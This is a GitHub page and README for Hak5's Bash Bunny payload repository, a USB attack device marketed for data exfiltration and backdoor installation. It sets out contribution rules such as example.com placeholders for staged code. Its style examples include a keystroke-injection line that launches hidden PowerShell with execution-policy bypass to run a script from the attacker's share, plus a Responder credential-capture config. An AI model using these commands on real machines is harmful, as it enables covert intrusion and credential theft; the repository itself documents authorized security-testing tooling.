The Official Bash Bunny Payload Repository
 
 
 
 
 
 
Go to file
Peaks 9aac0c1b74
New and improved README.
New and improved Bash Bunny readme to match USB rubber ducky readme
2024-06-23 16:53:35 -04:00
docs Add GET BB_LABEL function and docs (#569) 2022-12-16 12:58:09 -06:00
languages Added (æøåÆØÅ) to JSON (#581) 2023-05-12 10:04:38 -06:00
payloads Merge pull request #655 from 0i41E/master 2024-06-09 16:30:16 -04:00
.gitignore Update .gitignore 2023-01-19 16:36:32 -10:00
README.md New and improved README. 2024-06-23 16:53:35 -04:00
bunny-connecter.sh Allow already connected Bunny 2023-01-29 18:55:14 -10:00
config.txt Added newline into config.txt 2017-05-08 16:11:10 +10:00

README.md

Payload Library for the Bash Bunny by Hak5

This repository contains payloads and extensions for the Hak5 Bash Bunny. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads.

Payloads here are written in official DuckyScript™ and Bash specifically for the Bash Bunny. Hak5 does NOT guarantee payload functionality. See Legal and Disclaimers

     


View Featured Bash Bunny Payloads and Leaderboard
Get your payload in front of thousands. Enter to win over $2,000 in prizes in the Hak5 Payload Awards!

                       

Table of contents

Shop

Getting Started

Documentation / Learn More

Community

Got Questions? Need some help? Reach out:

Follow the creators

Korben's Socials

Darren's Socials


About the Bash Bunny

Linux machine in a USB. By emulating combinations of trusted USB devices — like gigabit Ethernet, serial, flash storage and keyboards — the Bash Bunny tricks computers into divulging data, exfiltrating documents, installing backdoors and many more exploits.





image

ADVANCED ATTACKS

For the sake of convenience, computers trust a number of devices. Flash drives, Ethernet adapters, serial devices and keyboards to name a few. These have become mainstays of modern computing. Each has their own unique attack vectors. When combined? The possibilities are limitless. The Bash Bunny is all of these things, alone or in combination and more!

image

SIMPLE PAYLOADS

Each attack, or payload, is written in a simple Ducky Script™ language consisting of text files. This repository is home to a growing library of community developed payloads. Staying up to date with all of the latest attacks is just a matter of downloading files from git. Then loading em onto the Bash Bunny just as you would any ordinary flash drive.

image

SIMPLE POWERFUL HARDWARE

It's a full featured Linux box that'll run your favorite tools even faster now thanks to the optimized quad-core CPU, desktop-class SSD and doubled RAM. Choose and monitor payloads with the selection switch and RGB LED. Access an unlocked root terminal via dedicated Serial console. Exfiltrate gigs of loot via MicroSD. Even remotely trigger or geofence payloads via Bluetooth.

Build your payloads with PayloadStudio

Take your DuckyScript™ payloads to the next level with this full-featured, web-based (entirely client side) development environment.

Payload studio features all of the conveniences of a modern IDE, right from your browser. From syntax highlighting and auto-completion to live error-checking and repo synchronization - building payloads for Hak5 hotplug tools has never been easier!

Supports your favorite Hak5 gear - USB Rubber Ducky, Bash Bunny, Key Croc, Shark Jack, Packet Squirrel & LAN Turtle!


Become a PayloadStudio Pro and Unleash your hacking creativity!
OR
Try Community Edition FREE


Payload Studio Themes Preview GIF


Payload Studio Autocomplete Preview GIF

Disclaimer

Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution.

Contributing


View Featured Payloads and Leaderboard

Please adhere to the following best practices and style guides when submitting a payload.

Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.

Please include all resources required for the payload to run. If needed, provide a README.md in the root of your payload's directory to explain things such as intended use, required configurations, or anything that will not easily fit in the comments of the payload.txt itself. Please make sure that your payload is tested, and free of errors. If your payload contains (or is based off of) the work of other's please make sure to cite their work giving proper credit.

Purely Destructive payloads will not be accepted. No, it's not "just a prank".

Subject to change. Please ensure any submissions meet the latest version of these standards before submitting a Pull Request.

Naming Conventions

Please give your payload a unique, descriptive and appropriate name. Do not use spaces in payload, directory or file names. Each payload should be submit into its own directory, with - or _ used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.

Staged Payloads

"Staged payloads" are payloads that download code from some resource external to the payload.txt.

While staging code used in payloads is often useful and appropriate, using this (or another) github repository as the means of deploying those stages is not. This repository is not a CDN for deployment on target systems.

Staged code should be copied to and hosted on an appropriate server for doing so by the end user - Github and this repository are simply resources for sharing code among developers and users. See: GitHub acceptable use policies

Additionally, any source code that is intended to be staged (by the end user on the appropriate infrastructure) should be included in any payload submissions either in the comments of the payload itself or as a seperate file. Links to staged code are unacceptable; not only for the reasons listed above but also for version control and user safety reasons. Arbitrary code hidden behind some pre-defined external resource via URL in a payload could be replaced at any point in the future unbeknownst to the user -- potentially turning a harmless payload into something dangerous.

Including URLs

URLs used for retrieving staged code should refer exclusively to example.com using a bash variable in any payload submissions see Payload Configuration section below.

Staged Example

Example scenario: your payload downloads a script and the executes it on a target machine.

  • Include the script in the directory with your payload
  • Provide instructions for the user to move the script to the appropriate hosting service.
  • Provide a bash variable with the placeholder example.com for the user to easily configure once they have hosted the script

Simple Example of this style of payload

Payload Configuration

Be sure to take the following into careful consideration to ensure your payload is easily tested, used and maintained. In many cases, payloads will require some level of configuration by the end payload user.

  • Abstract configuration(s) for ease of use. Use bash assignment variables where possible.
  • Remember to use PLACEHOLDERS for configurable portions of your payload - do not share your personal URLs, API keys, Passphrases, etc...
  • URLs to staged payloads SHOULD NOT BE INCLUDED. URLs should be replaced by example.com. Provide instructions on how to specific resources should be hosted on the appropriate infrastructure.
  • Make note of both REQUIRED and OPTIONAL configuration(s) in your payload using bash comments at the top of your payload or "inline" where applicable.
Example: 
	BEGINNING OF PAYLOAD 
	... Payload Documentation... 

	# CONFIGURATION
	# REQUIRED - Provide URL used for Example
	MY_TARGET_URL="example.com"

	#  OPTIONAL - How long until payload starts; default 5s
	BOOT_DELAY="5000"

	QUACK DELAY $BOOT_DELAY
	...
	QUACK STRING $MY_TARGET_URL
	...

Payload Documentation

Payloads should begin with # bash comments specifying the title of the payload, the author, the target, and a brief description.

Example:
	BEGINNING OF PAYLOAD

	# Title: Example Payload
	# Author: Korben Dallas
	# Description: Opens hidden powershell and
	# Target: Windows 10
	# Props: Hak5, Darren Kitchen, Korben
	# Version: 1.0
	# Category: General

Binaries

Binaries may not be accepted in this repository. If a binary is used in conjunction with the payload, please document where it or its source may be obtained.

Configuration Options

Configurable options should be specified in variables at the top of the payload.txt file

# Options
RESPONDER_OPTIONS="-w -r -d -P"
LOOTDIR=/root/udisk/loot/quickcreds

LED

The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or ATTACKMODE.

# Initialization
LED SETUP
GET SWITCH_POSITION
GET HOST_IP

# Attack
LED ATTACK
ATTACKMODE HID ECM_ETHERNET

Stages and States

Stages should be documented with comments

# Keystroke Injection Stage
# Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available
GET HOST_IP
LED STAGE1
ATTACKMODE HID
RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\""

Common payload states include a SETUP, with may include a FAIL if certain conditions are not met. This is typically followed by either a single ATTACK or multiple STAGEs. More complex payloads may include a SPECIAL function to wait until certain conditions are met. Payloads commonly end with a CLEANUP phase, such as moving and deleting files or stopping services. A payload may FINISH when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to LED states.

Legal

Payloads from this repository are provided for educational purposes only. Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use.

Bash Bunny and DuckyScript are the trademarks of Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means without prior written permission from the copyright owner. Bash Bunny and DuckyScript are subject to the Hak5 license agreement (https://hak5.org/license) DuckyScript is the intellectual property of Hak5 LLC for the sole benefit of Hak5 LLC and its licensees. To inquire about obtaining a license to use this material in your own project, contact us. Please report counterfeits and brand abuse to legal@hak5.org. This material is for education, authorized auditing and analysis purposes where permitted subject to local and international laws. Users are solely responsible for compliance. Hak5 LLC claims no responsibility for unauthorized or unlawful use. Hak5 LLC products and technology are only available to BIS recognized license exception ENC favorable treatment countries pursuant to US 15 CFR Supplement No 3 to Part 740.

See also:

Hak5 Software License Agreement

Terms of Service

Disclaimer

As with any script, you are advised to proceed with caution.

Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness.